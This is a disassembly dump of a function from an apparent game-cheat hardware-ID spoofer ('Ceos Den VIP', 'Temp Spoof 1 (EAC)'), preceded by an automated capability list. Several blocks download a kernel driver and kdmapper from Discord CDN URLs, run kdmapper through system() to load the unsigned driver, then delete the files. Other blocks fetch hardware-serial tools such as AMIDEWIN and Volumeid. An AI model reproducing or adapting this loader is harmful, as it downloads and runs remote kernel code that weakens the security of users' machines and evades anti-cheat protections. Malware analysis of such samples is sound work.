Function at 0x1400011e0
Capabilities:
Delete file
Download url
Execute command
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2a8]
sub rsp, 0x380
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140065040]
xor rax, rsp
mov qword [rbp + 0x258], rax
xor r13d, r13d
cmp byte [0x1400650d0], r13b
je 0x140003225
xorps xmm7, xmm7
movss xmm0, dword [0x1400650c0]
movss xmm1, dword [0x1400650c4]
mov rcx, qword [0x140065b60]
mov eax, dword [rcx + 0x1dc0]
or eax, 1
mov dword [rcx + 0x1dc0], eax
unpcklps xmm0, xmm1
movsd qword [rcx + 0x1dd4], xmm0
xorps xmm1, xmm1
unpcklps xmm1, xmm7
movsd qword [rcx + 0x1ddc], xmm1
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
movss xmm0, dword [0x1400650c8]
movss xmm1, dword [0x1400650cc]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc8], 1
or eax, 0x42
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1e20], 0x3f800000
mov rax, qword [rcx + 0x1d18]
lea r8, str.Foreground
lea edx, [r13 + 1]
mov rcx, qword [rax + 0x38]
call fcn.140009370
mov eax, dword [0x140065bc8]
test eax, eax
jne 0x1400017ed
mov r8d, 0x12a
lea rdx, [0x1400650d0]
lea rcx, str.Ceos_Den__VIP
call fcn.140011710
mov rcx, qword [0x140065b60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x14005d504]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, dword [0x14005d518]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov dword [rsp + 0x30], 0x437a0000
mov dword [rsp + 0x34], 0x432f0000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
lea rdx, str.Boxlogin
mov rcx, qword [rcx + 0x1d18]
call fcn.140008be0
mov edx, eax
lea r8, [rsp + 0x30]
lea rcx, str.Boxlogin
call fcn.14000e5c0
mov r8, qword [0x140065b60]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
movss xmm6, dword [0x14005d57c]
cmp byte [rax + 0xd4], r13b
jne 0x140001409
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x140001440
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x140001477
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x1400014ae
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x1400014e5
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x14000151c
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x140001553
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400167f0
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x140001595
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400167f0
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x1400015d7
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400167f0
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x140001619
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400167f0
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x14000165b
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400167f0
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x14000169d
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400167f0
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x1400016df
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400167f0
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x140001721
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400167f0
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x140001763
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
mov r8, qword [0x140065b60]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400167f0
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], r13b
jne 0x14000179e
mov qword [rsp + 0x30], r13
movaps xmm1, xmm6
lea rcx, [rsp + 0x30]
call fcn.140016540
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400167f0
mov dword [rsp + 0x30], 0x42960000
mov dword [rsp + 0x34], 0x41980000
lea rdx, [rsp + 0x30]
lea rcx, str.Initialize
call fcn.1400456a0
test al, al
je 0x1400017e3
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x140065bc8], 1
call fcn.14000e7c0
jmp 0x140003220
cmp eax, 1
jne 0x140003220
movss xmm0, dword [0x1400650c0]
movss xmm1, dword [0x1400650c4]
mov rcx, qword [0x140065b60]
mov eax, dword [rcx + 0x1dc0]
or eax, 1
mov dword [rcx + 0x1dc0], eax
unpcklps xmm0, xmm1
movsd qword [rcx + 0x1dd4], xmm0
xorps xmm1, xmm1
unpcklps xmm1, xmm7
movsd qword [rcx + 0x1ddc], xmm1
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
movss xmm0, dword [0x1400652d8]
movss xmm1, dword [0x1400652dc]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc8], 1
or eax, 0x42
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1e20], 0x3f800000
mov r8d, 0x12a
lea rdx, [0x1400650d0]
lea rcx, str.Ceos_Den__VIP
call fcn.140011710
mov rcx, qword [0x140065b60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14005d518]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14005d504]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x30], 0x43be0000
mov dword [rsp + 0x34], 0x434a0000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
lea rdx, str.Box
mov rcx, qword [rcx + 0x1d18]
call fcn.140008be0
mov edx, eax
lea r8, [rsp + 0x30]
lea rcx, str.Box
call fcn.14000e5c0
mov rcx, qword [0x140065b60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14005d530]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14005d52c]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov edx, r13d
lea rcx, str.Temp_Spoof_1__EAC_
nop word [rax + rax]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r13b
jne 0x1400019f7
inc rcx
add rcx, rax
inc edx
cmp byte [rcx], r13b
jne 0x1400019f0
mov dword [rsp + 0x20], edx
call fcn.1400481e0
call fcn.14000e7c0
mov rcx, qword [0x140065b60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14005d544]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14005d520]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x30], 0x438c0000
mov dword [rsp + 0x34], 0x41f00000
lea rdx, [rsp + 0x30]
lea rcx, str.Load
call fcn.1400456a0
test al, al
je 0x140003220
mov eax, dword [0x140065bcc]
test eax, eax
jne 0x140001b68
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:Program_Files346c3463c4.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1192249502082531441_346c3463c4.sys_ex65a863e0is6595eee0hmc1cebed97e9936cb5913151808766e392fb8df957bfd11a1f95c2465594a6319
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:Program_Fileskdmapper_Release.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1191890959861035178_kdmapper_Release.exe_ex65a715f5is6594a0f5hm2b722499330b697ee31240b4a94b9c307d3e973495a631621dc775aa7614f508
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cd_C:Program_Files__kdmapper_Release.exe_346c3463c4.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:Program_Fileskdmapper_Release.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_Files346c3463c4.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor r9d, r9d
lea r8, str.Ceos_Den
lea rdx, str.Done
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [0x140065bcc]
cmp eax, 3
jne 0x1400030e4
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], r13
mov qword [rbp + 0xf0], 0xf
mov ecx, 0xc0
call fcn.14004d650
mov r8, rax
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe8], 0xbb
mov qword [rbp + 0xf0], 0xbf
lea rbx, [0x140000000]
lea rcx, [rbx + 0x4f990]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rax + 0x80]
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rcx]
movups xmmword [rdx], xmm1
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm0
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm1
mov rax, qword [rcx + 0x30]
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0x38]
mov word [rdx + 0x38], ax
movzx eax, byte [rcx + 0x3a]
mov byte [rdx + 0x3a], al
mov byte [r8 + 0xbb], r13b
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b8], xmm0
mov qword [rbp + 0x1c8], r13
mov qword [rbp + 0x1d0], 0xf
mov ecx, 0x30
call fcn.14004d650
mov qword [rbp + 0x1b8], rax
mov qword [rbp + 0x1c8], 0x20
mov qword [rbp + 0x1d0], 0x2f
movups xmm0, xmmword [str.C:Program_FilesAMIDEWINx64.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14004fa60]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], 0
lea rdx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0xf
cmova rdx, qword [rbp + 0xd8]
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 0xf
cmova r8, qword [rbp + 0x1b8]
lea rdx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0xf
cmova rdx, qword [rbp + 0xd8]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x198], xmm0
mov qword [rbp + 0x1a8], r13
mov qword [rbp + 0x1b0], 0xf
mov ecx, 0xc0
call fcn.14004d650
mov r9, rax
mov qword [rbp + 0x198], rax
mov qword [rbp + 0x1a8], 0xbb
mov qword [rbp + 0x1b0], 0xbf
lea rdx, [rbx + 0x4fa80]
movups xmm0, xmmword [rdx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r8, [rax + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [r8 - 0x10], xmm1
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rdx]
movups xmmword [r8], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [r8 + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [r8 + 0x20], xmm0
mov rax, qword [rdx + 0x30]
mov qword [r8 + 0x30], rax
movzx eax, word [rdx + 0x38]
mov word [r8 + 0x38], ax
movzx eax, byte [rdx + 0x3a]
mov byte [r8 + 0x3a], al
mov byte [r9 + 0xbb], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x238], xmm0
mov qword [rbp + 0x248], r13
mov qword [rbp + 0x250], 0xf
mov ecx, 0x30
call fcn.14004d650
mov qword [rbp + 0x238], rax
mov qword [rbp + 0x248], 0x20
mov qword [rbp + 0x250], 0x2f
movups xmm0, xmmword [str.C:Program_Files_amigendrv64.sys]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14004fb50]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], 0
lea rdx, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 0xf
cmova rdx, qword [rbp + 0x198]
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xd0], 0xf
mov ecx, 0xc0
call fcn.14004d650
mov r8, rax
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc8], 0xba
mov qword [rbp + 0xd0], 0xbf
lea rcx, [rbx + 0x4fb70]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0xb0]
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0xb8]
mov word [rdx + 0x38], ax
mov byte [r8 + 0xba], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x188], r13
mov qword [rbp + 0x190], 0xf
mov ecx, 0x20
call fcn.14004d650
mov r8, rax
mov qword [rbp + 0x178], rax
mov qword [rbp + 0x188], 0x1f
mov qword [rbp + 0x190], 0x1f
movups xmm0, xmmword [str.C:Program_Files_amifldrv64.sys]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x14004fc40]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x14004fc48]
mov dword [rax + 0x18], ecx
movzx eax, word [0x14004fc4c]
mov word [r8 + 0x1c], ax
movzx eax, byte [0x14004fc4e]
mov byte [r8 + 0x1e], al
mov byte [r8 + 0x1f], 0
lea rdx, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0xf
cmova rdx, qword [rbp + 0xb8]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, [rbp + 0x178]
cmp qword [rbp + 0x190], 0xf
cmova r8, qword [rbp + 0x178]
lea rdx, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0xf
cmova rdx, qword [rbp + 0xb8]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xb0], 0xf
mov ecx, 0xc0
call fcn.14004d650
mov rdx, rax
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa8], 0xb8
mov qword [rbp + 0xb0], 0xbf
lea rax, [rbx + 0x4fc50]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rdx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rdx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rdx + 0xb0], rax
mov byte [rdx + 0xb8], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r13
mov qword [rbp + 0x170], 0xf
mov ecx, 0x20
call fcn.14004d650
mov r8, rax
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x168], 0x1d
mov qword [rbp + 0x170], 0x1f
movups xmm0, xmmword [str.C:Program_FilesHardDisk.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x14004fd20]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x14004fd28]
mov dword [rax + 0x18], ecx
movzx eax, byte [0x14004fd2c]
mov byte [r8 + 0x1c], al
mov byte [r8 + 0x1d], 0
lea rdx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0xf
cmova rdx, qword [rbp + 0x98]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, [rbp + 0x158]
cmp qword [rbp + 0x170], 0xf
cmova r8, qword [rbp + 0x158]
lea rdx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0xf
cmova rdx, qword [rbp + 0x98]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], r13
mov qword [rbp + 0x150], 0xf
mov ecx, 0xc0
call fcn.14004d650
mov r8, rax
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x148], 0xba
mov qword [rbp + 0x150], 0xbf
lea rcx, [rbx + 0x4fd30]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0xb0]
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0xb8]
mov word [rdx + 0x38], ax
mov byte [r8 + 0xba], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x218], xmm0
mov qword [rbp + 0x228], r13
mov qword [rbp + 0x230], 0xf
mov ecx, 0x20
call fcn.14004d650
mov r8, rax
mov qword [rbp + 0x218], rax
mov qword [rbp + 0x228], 0x1f
mov qword [rbp + 0x230], 0x1f
movups xmm0, xmmword [str.C:Program_FilesVolumeid64.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x14004fe00]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x14004fe08]
mov dword [rax + 0x18], ecx
movzx eax, word [0x14004fe0c]
mov word [r8 + 0x1c], ax
movzx eax, byte [0x14004fe0e]
mov byte [r8 + 0x1e], al
mov byte [r8 + 0x1f], 0
lea rdx, [rbp + 0x138]
cmp qword [rbp + 0x150], 0xf
cmova rdx, qword [rbp + 0x138]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r13
mov qword [rbp + 0x130], 0xf
mov ecx, 0xc0
call fcn.14004d650
mov rdx, rax
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x128], 0xb8
mov qword [rbp + 0x130], 0xbf
lea rax, [rbx + 0x4fe10]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rdx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rdx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rdx + 0xb0], rax
mov byte [rdx + 0xb8], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
mov qword [rbp + 0x208], r13
mov qword [rbp + 0x210], 0xf
mov ecx, 0x20
call fcn.14004d650
mov r8, rax
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x208], 0x1d
mov qword [rbp + 0x210], 0x1f
movups xmm0, xmmword [str.C:Program_FilesVolumeid.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x14004fee0]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x14004fee8]
mov dword [rax + 0x18], ecx
movzx eax, byte [0x14004feec]
mov byte [r8 + 0x1c], al
mov byte [r8 + 0x1d], 0
lea rdx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0xf
cmova rdx, qword [rbp + 0x118]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], r13
mov qword [rbp + 0x110], 0xf
mov ecx, 0xc0
call fcn.14004d650
mov r9, rax
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x108], 0xb3
mov qword [rbp + 0x110], 0xbf
lea rdx, [rbx + 0x4fef0]
movups xmm0, xmmword [rdx]
